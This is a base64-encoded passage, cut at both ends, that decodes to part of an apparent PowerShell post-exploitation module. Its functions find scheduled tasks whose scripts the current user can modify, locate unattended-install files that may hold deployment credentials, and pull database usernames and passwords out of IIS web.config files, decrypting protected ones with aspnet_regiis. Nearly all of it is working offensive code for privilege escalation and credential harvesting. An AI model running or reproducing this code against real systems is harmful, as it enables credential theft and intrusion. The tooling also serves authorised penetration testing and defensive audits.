ZSB8IEZvckVhY2gtT2JqZWN0IHsKICAgICAgICAgICAgICAgICRPdXQgPSBOZXctT2JqZWN0IFBTT2JqZWN0IAogICAgICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdLZXknICIkUGFyZW50UGF0aFwkTmFtZSIKICAgICAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnUGF0aCcgJFBhdGgKICAgICAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnTW9kaWZpYWJsZUZpbGUnICRfCiAgICAgICAgICAgICAgICAkT3V0CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICRPcmlnRXJyb3IKfQoKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMKIyBNaXNjLgojCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCgpmdW5jdGlvbiBHZXQtVnVsblNjaFRhc2sgewo8IwogICAgLlNZTk9QU0lTCgogICAgICAgIFJldHVybnMgc2NoZWR1bGVkIHRhc2tzIHdoZXJlIHRoZSBjdXJyZW50IHVzZXIgY2FuIG1vZGlmeQogICAgICAgIHRoZSBzY3JpcHQgYXNzb2NpYXRlZCB3aXRoIHRoZSB0YXNrIGFjdGlvbi4KCiAgICAuRVhBTVBMRQoKICAgICAgICBQUyBDOlw+IEdldC1WdWxuU2NoVGFzawoKICAgICAgICBSZXR1cm4gdnVsbmVyYWJsZSBzY2hlZHVsZWQgdGFza3MuCiM+CgogICAgW0NtZGxldEJpbmRpbmcoKV1QYXJhbSgpCgogICAgJE9yaWdFcnJvciA9ICRFcnJvckFjdGlvblByZWZlcmVuY2UKICAgICRFcnJvckFjdGlvblByZWZlcmVuY2UgPSAiU2lsZW50bHlDb250aW51ZSIKCiAgICAkUGF0aCA9ICIkKCRFTlY6d2luZGlyKVxTeXN0ZW0zMlxUYXNrcyIKCiAgICAjIHJlY3Vyc2l2ZWx5IGVudW1lcmF0ZSBhbGwgc2NodGFzayAueG1scwogICAgR2V0LUNoaWxkSXRlbSAtUGF0aCAkUGF0aCAtUmVjdXJzZSB8IFdoZXJlLU9iamVjdCB7ICEgJF8uUFNJc0NvbnRhaW5lciB9IHwgRm9yRWFjaC1PYmplY3QgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgICRUYXNrTmFtZSA9ICRfLk5hbWUKICAgICAgICAgICAgJFRhc2tYTUwgPSBbeG1sXSAoR2V0LUNvbnRlbnQgJF8uRnVsbE5hbWUpCiAgICAgICAgICAgIGlmKCRUYXNrWE1MLlRhc2suVHJpZ2dlcnMpIHsKCiAgICAgICAgICAgICAgICAkVGFza1RyaWdnZXIgPSAkVGFza1hNTC5UYXNrLlRyaWdnZXJzLk91dGVyWE1MCiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICMgY2hlY2sgc2NodGFzayBjb21tYW5kCiAgICAgICAgICAgICAgICAkVGFza1hNTC5UYXNrLkFjdGlvbnMuRXhlYy5Db21tYW5kIHwgR2V0LU1vZGlmaWFibGVGaWxlIHwgRm9yRWFjaC1PYmplY3QgewogICAgICAgICAgICAgICAgICAgICRPdXQgPSBOZXctT2JqZWN0IFBTT2JqZWN0IAogICAgICAgICAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnVGFza05hbWUnICRUYXNrTmFtZQogICAgICAgICAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnVGFza0ZpbGVQYXRoJyAkXwogICAgICAgICAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnVGFza1RyaWdnZXInICRUYXNrVHJpZ2dlcgogICAgICAgICAgICAgICAgICAgICRPdXQKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAjIGNoZWNrIHNjaHRhc2sgYXJndW1lbnRzCiAgICAgICAgICAgICAgICAkVGFza1hNTC5UYXNrLkFjdGlvbnMuRXhlYy5Bcmd1bWVudHMgfCBHZXQtTW9kaWZpYWJsZUZpbGUgfCBGb3JFYWNoLU9iamVjdCB7CiAgICAgICAgICAgICAgICAgICAgJE91dCA9IE5ldy1PYmplY3QgUFNPYmplY3QgCiAgICAgICAgICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdUYXNrTmFtZScgJFRhc2tOYW1lCiAgICAgICAgICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdUYXNrRmlsZVBhdGgnICRfCiAgICAgICAgICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdUYXNrVHJpZ2dlcicgJFRhc2tUcmlnZ2VyCiAgICAgICAgICAgICAgICAgICAgJE91dAogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGNhdGNoIHsKICAgICAgICAgICAgV3JpdGUtRGVidWcgIkVycm9yOiAkXyIKICAgICAgICB9CiAgICB9CgogICAgJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICRPcmlnRXJyb3IKfQoKCmZ1bmN0aW9uIEdldC1VbmF0dGVuZGVkSW5zdGFsbEZpbGUgewo8IwogICAgLlNZTk9QU0lTCgogICAgICAgIENoZWNrcyBzZXZlcmFsIGxvY2F0aW9ucyBmb3IgcmVtYWluaW5nIHVuYXR0ZW5kZWQgaW5zdGFsbGF0aW9uIGZpbGVzLCAKICAgICAgICB3aGljaCBtYXkgaGF2ZSBkZXBsb3ltZW50IGNyZWRlbnRpYWxzLgoKICAgIC5FWEFNUExFCgogICAgICAgIFBTIEM6XD4gR2V0LVVuYXR0ZW5kZWRJbnN0YWxsRmlsZQoKICAgICAgICBGaW5kcyBhbnkgcmVtYWluaW5nIHVuYXR0ZW5kZWQgaW5zdGFsbGF0aW9uIGZpbGVzLgoKICAgIC5MSU5LCgogICAgICAgIGh0dHA6Ly93d3cuZnV6enlzZWN1cml0eS5jb20vdHV0b3JpYWxzLzE2Lmh0bWwKIz4KICAgIAogICAgJE9yaWdFcnJvciA9ICRFcnJvckFjdGlvblByZWZlcmVuY2UKICAgICRFcnJvckFjdGlvblByZWZlcmVuY2UgPSAiU2lsZW50bHlDb250aW51ZSIKCiAgICAkU2VhcmNoTG9jYXRpb25zID0gQCggICAiYzpcc3lzcHJlcFxzeXNwcmVwLnhtbCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYzpcc3lzcHJlcFxzeXNwcmVwLmluZiIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYzpcc3lzcHJlcC5pbmYiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgKEpvaW4tUGF0aCAkRW52OldpbkRpciAiXFBhbnRoZXJcVW5hdHRlbmRlZC54bWwiKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIChKb2luLVBhdGggJEVudjpXaW5EaXIgIlxQYW50aGVyXFVuYXR0ZW5kXFVuYXR0ZW5kZWQueG1sIiksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAoSm9pbi1QYXRoICRFbnY6V2luRGlyICJcUGFudGhlclxVbmF0dGVuZC54bWwiKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIChKb2luLVBhdGggJEVudjpXaW5EaXIgIlxQYW50aGVyXFVuYXR0ZW5kXFVuYXR0ZW5kLnhtbCIpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgKEpvaW4tUGF0aCAkRW52OldpbkRpciAiXFN5c3RlbTMyXFN5c3ByZXBcdW5hdHRlbmQueG1sIiksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAoSm9pbi1QYXRoICRFbnY6V2luRGlyICJcU3lzdGVtMzJcU3lzcHJlcFxQYW50aGVyXHVuYXR0ZW5kLnhtbCIpCiAgICAgICAgICAgICAgICAgICAgICAgICkKCiAgICAjIHRlc3QgdGhlIGV4aXN0ZW5jZSBvZiBlYWNoIHBhdGggYW5kIHJldHVybiBhbnl0aGluZyBmb3VuZAogICAgJFNlYXJjaExvY2F0aW9ucyB8IFdoZXJlLU9iamVjdCB7IFRlc3QtUGF0aCAkXyB9IHwgRm9yRWFjaC1PYmplY3QgewogICAgICAgICRPdXQgPSBOZXctT2JqZWN0IFBTT2JqZWN0IAogICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnVW5hdHRlbmRQYXRoJyAkXwogICAgICAgICRPdXQKICAgIH0KCiAgICAkRXJyb3JBY3Rpb25QcmVmZXJlbmNlID0gJE9yaWdFcnJvcgp9CgoKZnVuY3Rpb24gR2V0LVdlYmNvbmZpZyB7ICAgCjwjCiAgICAuU1lOT1BTSVMKCiAgICAgICAgVGhpcyBzY3JpcHQgd2lsbCByZWNvdmVyIGNsZWFydGV4dCBhbmQgZW5jcnlwdGVkIGNvbm5lY3Rpb24gc3RyaW5ncyBmcm9tIGFsbCB3ZWIuY29uZmlnIAogICAgICAgIGZpbGVzIG9uIHRoZSBzeXN0ZW0uICBBbHNvLCBpdCB3aWxsIGRlY3J5cHQgdGhlbSBpZiBuZWVkZWQuCgogICAgICAgIEF1dGhvcjogU2NvdHQgU3V0aGVybGFuZCAtIDIwMTQsIE5ldFNQSQogICAgICAgIEF1dGhvcjogQW50dGkgUmFudGFzYWFyaSAtIDIwMTQsIE5ldFNQSQoKICAgIC5ERVNDUklQVElPTgoKICAgICAgICBUaGlzIHNjcmlwdCB3aWxsIGlkZW50aWZ5IGFsbCBvZiB0aGUgd2ViLmNvbmZpZyBmaWxlcyBvbiB0aGUgc3lzdGVtIGFuZCByZWNvdmVyIHRoZSAgCiAgICAgICAgY29ubmVjdGlvbiBzdHJpbmdzIHVzZWQgdG8gc3VwcG9ydCBhdXRoZW50aWNhdGlvbiB0byBiYWNrZW5kIGRhdGFiYXNlcy4gIElmIG5lZWRlZCwgdGhlIAogICAgICAgIHNjcmlwdCB3aWxsIGFsc28gZGVjcnlwdCB0aGUgY29ubmVjdGlvbiBzdHJpbmdzIG9uIHRoZSBmbHkuICBUaGUgb3V0cHV0IHN1cHBvcnRzIHRoZSAKICAgICAgICBwaXBlbGluZSB3aGljaCBjYW4gYmUgdXNlZCB0byBjb252ZXJ0IGFsbCBvZiB0aGUgcmVzdWx0cyBpbnRvIGEgcHJldHR5IHRhYmxlIGJ5IHBpcGluZyAKICAgICAgICB0byBmb3JtYXQtdGFibGUuCiAgIAogICAgLkVYQU1QTEUKCiAgICAgICAgUmV0dXJuIGEgbGlzdCBvZiBjbGVhcnRleHQgYW5kIGRlY3J5cHRlZCBjb25uZWN0IHN0cmluZ3MgZnJvbSB3ZWIuY29uZmlnIGZpbGVzLgoKICAgICAgICBQUyBDOlw+Z2V0LXdlYmNvbmZpZyAgICAgICAgCiAgICAgICAgdXNlciAgIDogczFhZG1pbgogICAgICAgIHBhc3MgICA6IHMxcGFzc3dvcmQKICAgICAgICBkYnNlcnYgOiAxOTIuMTY4LjEuMTAzXHNlcnZlcjEKICAgICAgICB2ZGlyICAgOiBDOlx0ZXN0MgogICAgICAgIHBhdGggICA6IEM6XHRlc3QyXHdlYi5jb25maWcKICAgICAgICBlbmNyICAgOiBObwoKICAgICAgICB1c2VyICAgOiBzMXVzZXIKICAgICAgICBwYXNzICAgOiBzMXBhc3N3b3JkCiAgICAgICAgZGJzZXJ2IDogMTkyLjE2OC4xLjEwM1xzZXJ2ZXIxCiAgICAgICAgdmRpciAgIDogQzpcaW5ldHB1Ylx3d3dyb290CiAgICAgICAgcGF0aCAgIDogQzpcaW5ldHB1Ylx3d3dyb290XHdlYi5jb25maWcKICAgICAgICBlbmNyICAgOiBZZXMKICAgCiAgICAuRVhBTVBMRQoKICAgICAgICBSZXR1cm4gYSBsaXN0IG9mIGNsZWFyIHRleHQgYW5kIGRlY3J5cHRlZCBjb25uZWN0IHN0cmluZ3MgZnJvbSB3ZWIuY29uZmlnIGZpbGVzLgoKICAgICAgICBQUyBDOlw+Z2V0LXdlYmNvbmZpZyB8IEZvcm1hdC1UYWJsZSAtQXV0b3NpemUKCiAgICAgICAgdXNlciAgICBwYXNzICAgICAgIGRic2VydiAgICAgICAgICAgICAgICB2ZGlyICAgICAgICAgICAgICAgcGF0aCAgICAgICAgICAgICAgICAgICAgICAgICAgZW5jcgogICAgICAgIC0tLS0gICAgLS0tLSAgICAgICAtLS0tLS0gICAgICAgICAgICAgICAgLS0tLSAgICAgICAgICAgICAgIC0tLS0gICAgICAgICAgICAgICAgICAgICAgICAgIC0tLS0KICAgICAgICBzMWFkbWluIHMxcGFzc3dvcmQgMTkyLjE2OC4xLjEwMVxzZXJ2ZXIxIEM6XEFwcDEgICAgICAgICAgICBDOlxBcHAxXHdlYi5jb25maWcgICAgICAgICAgICBObyAgCiAgICAgICAgczF1c2VyICBzMXBhc3N3b3JkIDE5Mi4xNjguMS4xMDFcc2VydmVyMSBDOlxpbmV0cHViXHd3d3Jvb3QgQzpcaW5ldHB1Ylx3d3dyb290XHdlYi5jb25maWcgTm8gIAogICAgICAgIHMydXNlciAgczJwYXNzd29yZCAxOTIuMTY4LjEuMTAyXHNlcnZlcjIgQzpcQXBwMiAgICAgICAgICAgIEM6XEFwcDJcdGVzdFx3ZWIuY29uZmlnICAgICAgIE5vICAKICAgICAgICBzMnVzZXIgIHMycGFzc3dvcmQgMTkyLjE2OC4xLjEwMlxzZXJ2ZXIyIEM6XEFwcDIgICAgICAgICAgICBDOlxBcHAyXHdlYi5jb25maWcgICAgICAgICAgICBZZXMgCiAgICAgICAgczN1c2VyICBzM3Bhc3N3b3JkIDE5Mi4xNjguMS4xMDNcc2VydmVyMyBEOlxBcHAzICAgICAgICAgICAgRDpcQXBwM1x3ZWIuY29uZmlnICAgICAgICAgICAgTm8gCgogICAgIC5MSU5LCgogICAgICAgIGh0dHBzOi8vZ2l0aHViLmNvbS9kYXJrb3BlcmF0b3IvUG9zaC1TZWNNb2QvYmxvYi9tYXN0ZXIvUG9zdEV4cGxvaXRhdGlvbi9Qb3N0RXhwbG9pdGF0aW9uLnBzbTEKICAgICAgICBodHRwOi8vd3d3Lm5ldHNwaS5jb20KICAgICAgICBodHRwczovL3JhdzIuZ2l0aHViLmNvbS9OZXRTUEkvY21kc3FsL21hc3Rlci9jbWRzcWwuYXNweAogICAgICAgIGh0dHA6Ly93d3cuaWlzLm5ldC9sZWFybi9nZXQtc3RhcnRlZC9nZXR0aW5nLXN0YXJ0ZWQtd2l0aC1paXMvZ2V0dGluZy1zdGFydGVkLXdpdGgtYXBwY21kZXhlCiAgICAgICAgaHR0cDovL21zZG4ubWljcm9zb2Z0LmNvbS9lbi11cy9saWJyYXJ5L2s2aDljejhoKHY9dnMuODApLmFzcHgKCiAgICAgLk5PVEVTCgogICAgICAgIEJlbG93IGlzIGFuIGFsdGVyYW50aXZlIG1ldGhvZCBmb3IgZ3JhYmJpbmcgY29ubmVjdGlvbiBzdHJpbmdzLCBidXQgaXQgZG9lc24ndCBzdXBwb3J0IGRlY3J5cHRpb24uCiAgICAgICAgZm9yIC9mICJ0b2tlbnM9KiIgJWkgaW4gKCclc3lzdGVtcm9vdCVcc3lzdGVtMzJcaW5ldHNydlxhcHBjbWQuZXhlIGxpc3Qgc2l0ZXMgL3RleHQ6bmFtZScpIGRvICVzeXN0ZW1yb290JVxzeXN0ZW0zMlxpbmV0c3J2XGFwcGNtZC5leGUgbGlzdCBjb25maWcgIiVpIiAtc2VjdGlvbjpjb25uZWN0aW9uc3RyaW5ncwojPgogICAgCiAgICBbQ21kbGV0QmluZGluZygpXVBhcmFtKCkKCiAgICAkT3JpZ0Vycm9yID0gJEVycm9yQWN0aW9uUHJlZmVyZW5jZQogICAgJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTaWxlbnRseUNvbnRpbnVlIgoKICAgICMgQ2hlY2sgaWYgYXBwY21kLmV4ZSBleGlzdHMKICAgIGlmIChUZXN0LVBhdGggICgiJEVudjpTeXN0ZW1Sb290XFN5c3RlbTMyXEluZXRTUlZcYXBwY21kLmV4ZSIpKSB7CiAgICAgICAgIyBDcmVhdGUgZGF0YSB0YWJsZSB0byBob3VzZSByZXN1bHRzCiAgICAgICAgJERhdGFUYWJsZSA9IE5ldy1PYmplY3QgU3lzdGVtLkRhdGEuRGF0YVRhYmxlIAoKICAgICAgICAjIENyZWF0ZSBhbmQgbmFtZSBjb2x1bW5zIGluIHRoZSBkYXRhIHRhYmxlCiAgICAgICAgJE51bGwgPSAkRGF0YVRhYmxlLkNvbHVtbnMuQWRkKCJ1c2VyIikKICAgICAgICAkTnVsbCA9ICREYXRhVGFibGUuQ29sdW1ucy5BZGQoInBhc3MiKSAgCiAgICAgICAgJE51bGwgPSAkRGF0YVRhYmxlLkNvbHVtbnMuQWRkKCJkYnNlcnYiKQogICAgICAgICROdWxsID0gJERhdGFUYWJsZS5Db2x1bW5zLkFkZCgidmRpciIpCiAgICAgICAgJE51bGwgPSAkRGF0YVRhYmxlLkNvbHVtbnMuQWRkKCJwYXRoIikKICAgICAgICAkTnVsbCA9ICREYXRhVGFibGUuQ29sdW1ucy5BZGQoImVuY3IiKQoKICAgICAgICAjIEdldCBsaXN0IG9mIHZpcnR1YWwgZGlyZWN0b3JpZXMgaW4gSUlTIAogICAgICAgIEM6XFdpbmRvd3NcU3lzdGVtMzJcSW5ldFNSVlxhcHBjbWQuZXhlIGxpc3QgdmRpciAvdGV4dDpwaHlzaWNhbHBhdGggfCAKICAgICAgICBGb3JFYWNoLU9iamVjdCB7IAoKICAgICAgICAgICAgJEN1cnJlbnRWZGlyID0gJF8KCiAgICAgICAgICAgICMgQ29udmVydHMgQ01EIHN0eWxlIGVudiB2YXJzICglKSB0byBwb3dlcnNoZWxsIGVudiB2YXJzIChlbnYpCiAgICAgICAgICAgIGlmICgkXyAtbGlrZSAiKiUqIikgeyAgICAgICAgICAgIAogICAgICAgICAgICAgICAgJEVudmFyTmFtZSA9ICJgJEVudjoiKyRfLnNwbGl0KCIlIilbMV0KICAgICAgICAgICAgICAgICRFbnZhclZhbHVlID0gSW52b2tlLUV4cHJlc3Npb24gJEVudmFyTmFtZQogICAgICAgICAgICAgICAgJFJlc3RvZlBhdGggPSAkXy5zcGxpdCgiJSIpWzJdICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAkQ3VycmVudFZkaXIgID0gJEVudmFyVmFsdWUrJFJlc3RvZlBhdGgKICAgICAgICAgICAgfQoKICAgICAgICAgICAgIyBTZWFyY2ggZm9yIHdlYi5jb25maWcgZmlsZXMgaW4gZWFjaCB2aXJ0dWFsIGRpcmVjdG9yeQogICAgICAgICAgICAkQ3VycmVudFZkaXIgfCBHZXQtQ2hpbGRJdGVtIC1SZWN1cnNlIC1GaWx0ZXIgd2ViLmNvbmZpZyB8IEZvckVhY2gtT2JqZWN0IHsKICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAjIFNldCB3ZWIuY29uZmlnIHBhdGgKICAgICAgICAgICAgICAgICRDdXJyZW50UGF0aCA9ICRfLmZ1bGxuYW1lCgogICAgICAgICAgICAgICAgIyBSZWFkIHRoZSBkYXRhIGZyb20gdGhlIHdlYi5jb25maWcgeG1sIGZpbGUKICAgICAgICAgICAgICAgIFt4bWxdJENvbmZpZ0ZpbGUgPSBHZXQtQ29udGVudCAkXy5mdWxsbmFtZQoKICAgICAgICAgICAgICAgICMgQ2hlY2sgaWYgdGhlIGNvbm5lY3Rpb25TdHJpbmdzIGFyZSBlbmNyeXB0ZWQKICAgICAgICAgICAgICAgIGlmICgkQ29uZmlnRmlsZS5jb25maWd1cmF0aW9uLmNvbm5lY3Rpb25TdHJpbmdzLmFkZCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICMgRm9yZWFjaCBjb25uZWN0aW9uIHN0cmluZyBhZGQgdG8gZGF0YSB0YWJsZQogICAgICAgICAgICAgICAgICAgICRDb25maWdGaWxlLmNvbmZpZ3VyYXRpb24uY29ubmVjdGlvblN0cmluZ3MuYWRkfCAKICAgICAgICAgICAgICAgICAgICBGb3JFYWNoLU9iamVjdCB7CgogICAgICAgICAgICAgICAgICAgICAgICBbU3RyaW5nXSRNeUNvblN0cmluZyA9ICRfLmNvbm5lY3Rpb25TdHJpbmcKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJE15Q29uU3RyaW5nIC1saWtlICIqcGFzc3dvcmQqIikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJENvbmZVc2VyID0gJE15Q29uU3RyaW5nLlNwbGl0KCI9IilbM10uU3BsaXQoIjsiKVswXQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJENvbmZQYXNzID0gJE15Q29uU3RyaW5nLlNwbGl0KCI9IilbNF0uU3BsaXQoIjsiKVswXQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJENvbmZTZXJ2ID0gJE15Q29uU3RyaW5nLlNwbGl0KCI9IilbMV0uU3BsaXQoIjsiKVswXQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJENvbmZWZGlyID0gJEN1cnJlbnRWZGlyCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkQ29uZlBhdGggPSAkQ3VycmVudFBhdGgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRDb25mRW5jID0gIk5vIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgJE51bGwgPSAkRGF0YVRhYmxlLlJvd3MuQWRkKCRDb25mVXNlciwgJENvbmZQYXNzLCAkQ29uZlNlcnYsJENvbmZWZGlyLCRDdXJyZW50UGF0aCwgJENvbmZFbmMpCiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9ICAKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKCiAgICAgICAgICAgICAgICAgICAgIyBGaW5kIG5ld2VzdCB2ZXJzaW9uIG9mIGFzcG5ldF9yZWdpaXMuZXhlIHRvIHVzZSAoaXQgd29ya3Mgd2l0aCBvbGRlciB2ZXJzaW9ucykKICAgICAgICAgICAgICAgICAgICAkYXNwbmV0X3JlZ2lpc19wYXRoID0gR2V0LUNoaWxkSXRlbSAtUmVjdXJzZSAtZmlsdGVyIGFzcG5ldF9yZWdpaXMuZXhlIGM6XFdpbmRvd3NcTWljcm9zb2Z0Lk5FVFxGcmFtZXdvcmtcIHwgU29ydC1PYmplY3QgLURlc2NlbmRpbmcgfCBTZWxlY3QtT2JqZWN0IGZ1bGxuYW1lIC1GaXJzdCAxCgogICAgICAgICAgICAgICAgICAgICMgQ2hlY2sgaWYgYXNwbmV0X3JlZ2lpcy5leGUgZXhpc3RzCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAgKCRhc3BuZXRfcmVnaWlzX3BhdGguRnVsbE5hbWUpKXsKCiAgICAgICAgICAgICAgICAgICAgICAgICMgU2V0dXAgcGF0aCBmb3IgdGVtcCB3ZWIuY29uZmlnIHRvIHRoZSBjdXJyZW50IHVzZXIncyB0ZW1wIGRpcgogICAgICAgICAgICAgICAgICAgICAgICAkV2ViQ29uZmlnUGF0aCA9IChHZXQtSXRlbSAkRW52OnRlbXApLkZ1bGxOYW1lICsgIlx3ZWIuY29uZmlnIgoKICAgICAgICAgICAgICAgICAgICAgICAgIyBSZW1vdmUgZXhpc3RpbmcgdGVtcCB3ZWIuY29uZmlnCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChUZXN0LVBhdGggICgkV2ViQ29uZmlnUGF0aCkpIAogICAgICAgICAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgUmVtb3ZlLUl0ZW0gJFdlYkNvbmZpZ1BhdGggCiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgIyBDb3B5IHdlYi5jb25maWcgZnJvbSB2ZGlyIHRvIHVzZXIgdGVtcCBmb3IgZGVjcnlwdGlvbgogICAgICAgICAgICAgICAgICAgICAgICBDb3B5LUl0ZW0gJEN1cnJlbnRQYXRoICRXZWJDb25maWdQYXRoCgogICAgICAgICAgICAgICAgICAgICAgICAjRGVjcnlwdCB3ZWIuY29uZmlnIGluIHVzZXIgdGVtcCAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICRhc3BuZXRfcmVnaWlzX2NtZCA9ICRhc3BuZXRfcmVnaWlzX3BhdGguZnVsbG5hbWUrJyAtcGRmICJjb25uZWN0aW9uU3RyaW5ncyIgKGdldC1pdGVtICRFbnY6dGVtcCkuRnVsbE5hbWUnCiAgICAgICAgICAgICAgICAgICAgICAgICROdWxsID0gSW52b2tlLUV4cHJlc3Npb24gJGFzcG5ldF9yZWdpaXNfY21kCgogICAgICAgICAgICAgICAgICAgICAgICAjIFJlYWQgdGhlIGRhdGEgZnJvbSB0aGUgd2ViLmNvbmZpZyBpbiB0ZW1wCiAgICAgICAgICAgICAgICAgICAgICAgIFt4bWxdJFRNUENvbmZpZ0ZpbGUgPSBHZXQtQ29udGVudCAkV2ViQ29uZmlnUGF0aAoKICAgICAgICAgICAgICAgICAgICAgICAgIyBDaGVjayBpZiB0aGUgY29ubmVjdGlvblN0cmluZ3MgYXJlIHN0aWxsIGVuY3J5cHRlZAogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJFRNUENvbmZpZ0ZpbGUuY29uZmlndXJhdGlvbi5jb25uZWN0aW9uU3RyaW5ncy5hZGQpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICMgRm9yZWFjaCBjb25uZWN0aW9uIHN0cmluZyBhZGQgdG8gZGF0YSB0YWJsZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFRNUENvbmZpZ0ZpbGUuY29uZmlndXJhdGlvbi5jb25uZWN0aW9uU3RyaW5ncy5hZGQgfCBGb3JFYWNoLU9iamVjdCB7CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtTdHJpbmddJE15Q29uU3RyaW5nID0gJF8uY29ubmVjdGlvblN0cmluZwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRNeUNvblN0cmluZyAtbGlrZSAiKnBhc3N3b3JkKiIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJENvbmZVc2VyID0gJE15Q29uU3RyaW5nLlNwbGl0KCI9IilbM10uU3BsaXQoIjsiKVswXQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkQ29uZlBhc3MgPSAkTXlDb25TdHJpbmcuU3BsaXQoIj0iKVs0XS5TcGxpdCgiOyIpWzBdCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRDb25mU2VydiA9ICRNeUNvblN0cmluZy5TcGxpdCgiPSIpWzFdLlNwbGl0KCI7IilbMF0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJENvbmZWZGlyID0gJEN1cnJlbnRWZGlyCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRDb25mUGF0aCA9ICRDdXJyZW50UGF0aAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkQ29uZkVuYyA9ICJZZXMiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICROdWxsID0gJERhdGFUYWJsZS5Sb3dzLkFkZCgkQ29uZlVzZXIsICRDb25mUGFzcywgJENvbmZTZXJ2LCRDb25mVmRpciwkQ3VycmVudFBhdGgsICRDb25mRW5jKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gIAoKICAgICAgICAgICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1WZXJib3NlICJEZWNyeXB0aW9uIG9mICRDdXJyZW50UGF0aCBmYWlsZWQuIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgJEZhbHNlICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgImFzcG5ldF9yZWdpaXMuZXhlIGRvZXMgbm90IGV4aXN0IGluIHRoZSBkZWZhdWx0IGxvY2F0aW9uLiIKICAgICAgICAgICAgICAgICAgICAgICAgJEZhbHNlCiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSAgICAgICAgICAgCiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMgQ2hlY2sgaWYgYW55IGNvbm5lY3Rpb24gc3RyaW5ncyB3ZXJlIGZvdW5kIAogICAgICAgIGlmKCAkRGF0YVRhYmxlLnJvd3MuQ291bnQgLWd0IDAgKSB7CgogICAgICAgICAgICAjIERpc3BsYXkgcmVzdWx0cyBpbiBsaXN0IHZpZXcgdGhhdCBjYW4gZmVlZCBpbnRvIHRoZSBwaXBlbGluZSAgICAKICAgICAgICAgICAgJERhdGFUYWJsZSB8ICBTb3J0LU9iamVjdCB1c2VyLHBhc3MsZGJzZXJ2LH